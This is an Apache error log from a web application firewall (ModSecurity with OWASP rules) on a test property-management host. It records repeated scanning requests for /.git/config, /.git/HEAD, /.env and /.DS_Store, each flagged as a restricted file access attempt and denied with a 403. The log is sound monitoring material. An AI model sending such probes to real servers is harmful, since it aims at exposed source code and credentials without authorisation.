[Mon Dec 11 07:55:21.331725 2023] [:error] [pid 3770809] [client 110.138.86.253:54448] [client 110.138.86.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;ZXayWSwuo5QhwyOpNBQpaQAAAAQ&quot;]
[Mon Dec 11 07:55:21.841199 2023] [:error] [pid 3770805] [client 110.138.86.253:53218] [client 110.138.86.253] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZXayWZJp3WTofdsothQj1AAAAAA&quot;]
[Mon Dec 11 07:55:21.841390 2023] [:error] [pid 3770805] [client 110.138.86.253:53218] [client 110.138.86.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZXayWZJp3WTofdsothQj1AAAAAA&quot;]
[Mon Dec 11 07:55:21.841545 2023] [:error] [pid 3770805] [client 110.138.86.253:53218] [client 110.138.86.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZXayWZJp3WTofdsothQj1AAAAAA&quot;]
[Mon Dec 18 16:27:37.699921 2023] [proxy_http:error] [pid 3950931] (104)Connection reset by peer: [client 87.16.21.43:61979] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Mon Dec 18 16:27:37.714106 2023] [proxy:error] [pid 3950931] [client 87.16.21.43:61979] AH00898: Error reading from remote server returned by /backend, referer: https://pms.test.indacotrentino.com/
[Tue Dec 19 12:32:52.257361 2023] [:error] [pid 3960694] [client 164.92.155.72:59740] [client 164.92.155.72] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZYF_ZDpDAk_hmXW3_W4uCgAAAAQ&quot;]
[Tue Dec 19 12:32:52.257622 2023] [:error] [pid 3960694] [client 164.92.155.72:59740] [client 164.92.155.72] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZYF_ZDpDAk_hmXW3_W4uCgAAAAQ&quot;]
[Tue Dec 19 12:32:52.257788 2023] [:error] [pid 3960694] [client 164.92.155.72:59740] [client 164.92.155.72] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZYF_ZDpDAk_hmXW3_W4uCgAAAAQ&quot;]
[Tue Dec 19 12:32:52.564576 2023] [:error] [pid 3960693] [client 164.92.155.72:59754] [client 164.92.155.72] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZYF_ZCqrmlhO3XrJ4e5SOwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Tue Dec 19 12:32:52.564829 2023] [:error] [pid 3960693] [client 164.92.155.72:59754] [client 164.92.155.72] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZYF_ZCqrmlhO3XrJ4e5SOwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Tue Dec 19 12:32:52.564984 2023] [:error] [pid 3960693] [client 164.92.155.72:59754] [client 164.92.155.72] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZYF_ZCqrmlhO3XrJ4e5SOwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Sun Dec 31 21:00:48.572545 2023] [:error] [pid 30784] [client 54.161.99.216:34036] [client 54.161.99.216] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZZHIcB3UeLilDnmHrGnSpgAAAAM&quot;]
[Sun Dec 31 21:00:48.580609 2023] [:error] [pid 30784] [client 54.161.99.216:34036] [client 54.161.99.216] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZZHIcB3UeLilDnmHrGnSpgAAAAM&quot;]
[Sun Dec 31 21:00:48.580788 2023] [:error] [pid 30784] [client 54.161.99.216:34036] [client 54.161.99.216] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZZHIcB3UeLilDnmHrGnSpgAAAAM&quot;]
[Thu Jan 04 03:07:13.051622 2024] [authz_core:error] [pid 119632] [client 134.122.89.242:33344] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Thu Jan 04 03:07:13.185961 2024] [:error] [pid 119631] [client 134.122.89.242:33428] [client 134.122.89.242] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZZYS0WIc5PzAWytwSLHzUAAAAAM&quot;]
[Thu Jan 04 03:07:13.186231 2024] [:error] [pid 119631] [client 134.122.89.242:33428] [client 134.122.89.242] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZZYS0WIc5PzAWytwSLHzUAAAAAM&quot;]
[Thu Jan 04 03:07:13.186446 2024] [:error] [pid 119631] [client 134.122.89.242:33428] [client 134.122.89.242] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZZYS0WIc5PzAWytwSLHzUAAAAAM&quot;]
[Thu Jan 04 03:07:13.231043 2024] [:error] [pid 119628] [client 134.122.89.242:33462] [client 134.122.89.242] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZZYS0dB9jRPKPcDRqKF7VgAAAAA&quot;]
[Thu Jan 04 03:07:13.231324 2024] [:error] [pid 119628] [client 134.122.89.242:33462] [client 134.122.89.242] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZZYS0dB9jRPKPcDRqKF7VgAAAAA&quot;]
[Thu Jan 04 03:07:13.231570 2024] [:error] [pid 119628] [client 134.122.89.242:33462] [client 134.122.89.242] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZZYS0dB9jRPKPcDRqKF7VgAAAAA&quot;]
[Thu Jan 04 03:07:13.271544 2024] [:error] [pid 119630] [client 134.122.89.242:33496] [client 134.122.89.242] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZZYS0VdaueujfdmKMgv-hAAAAAI&quot;]
[Thu Jan 04 03:07:13.271756 2024] [:error] [pid 119630] [client 134.122.89.242:33496] [client 134.122.89.242] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZZYS0VdaueujfdmKMgv-hAAAAAI&quot;]
[Thu Jan 04 03:07:13.271911 2024] [:error] [pid 119630] [client 134.122.89.242:33496] [client 134.122.89.242] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZZYS0VdaueujfdmKMgv-hAAAAAI&quot;]
[Thu Jan 04 03:07:37.827300 2024] [:error] [pid 119630] [client 193.143.1.139:44598] [client 193.143.1.139] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZZYS6VdaueujfdmKMgv-hQAAAAI&quot;]
[Thu Jan 04 03:07:37.827609 2024] [:error] [pid 119630] [client 193.143.1.139:44598] [client 193.143.1.139] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZZYS6VdaueujfdmKMgv-hQAAAAI&quot;]
[Thu Jan 04 03:07:37.827808 2024] [:error] [pid 119630] [client 193.143.1.139:44598] [client 193.143.1.139] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZZYS6VdaueujfdmKMgv-hQAAAAI&quot;]
[Thu Jan 04 03:08:37.738199 2024] [:error] [pid 119656] [client 80.94.92.37:59906] [client 80.94.92.37] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZZYTJbNqDsB2E5I8FE7VngAAAAU&quot;]
[Thu Jan 04 03:08:37.738407 2024] [:error] [pid 119656] [client 80.94.92.37:59906] [client 80.94.92.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZZYTJbNqDsB2E5I8FE7VngAAAAU&quot;]
[Thu Jan 04 03:08:37.738571 2024] [:error] [pid 119656] [client 80.94.92.37:59906] [client 80.94.92.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZZYTJbNqDsB2E5I8FE7VngAAAAU&quot;]
[Thu Jan 04 03:16:31.301488 2024] [:error] [pid 119660] [client 80.94.92.37:59602] [client 80.94.92.37] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZZYU_5qtB_QjWDR3Lh-UMAAAAAk&quot;]
[Thu Jan 04 03:16:31.301774 2024] [:error] [pid 119660] [client 80.94.92.37:59602] [client 80.94.92.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZZYU_5qtB_QjWDR3Lh-UMAAAAAk&quot;]
[Thu Jan 04 03:16:31.301938 2024] [:error] [pid 119660] [client 80.94.92.37:59602] [client 80.94.92.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZZYU_5qtB_QjWDR3Lh-UMAAAAAk&quot;]
[Sat Jan 06 05:50:40.576217 2024] [:error] [pid 163653] [client 50.18.103.201:60004] [client 50.18.103.201] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZZjcIHMh-7CV5yfHb_R4PQAAAAI&quot;]
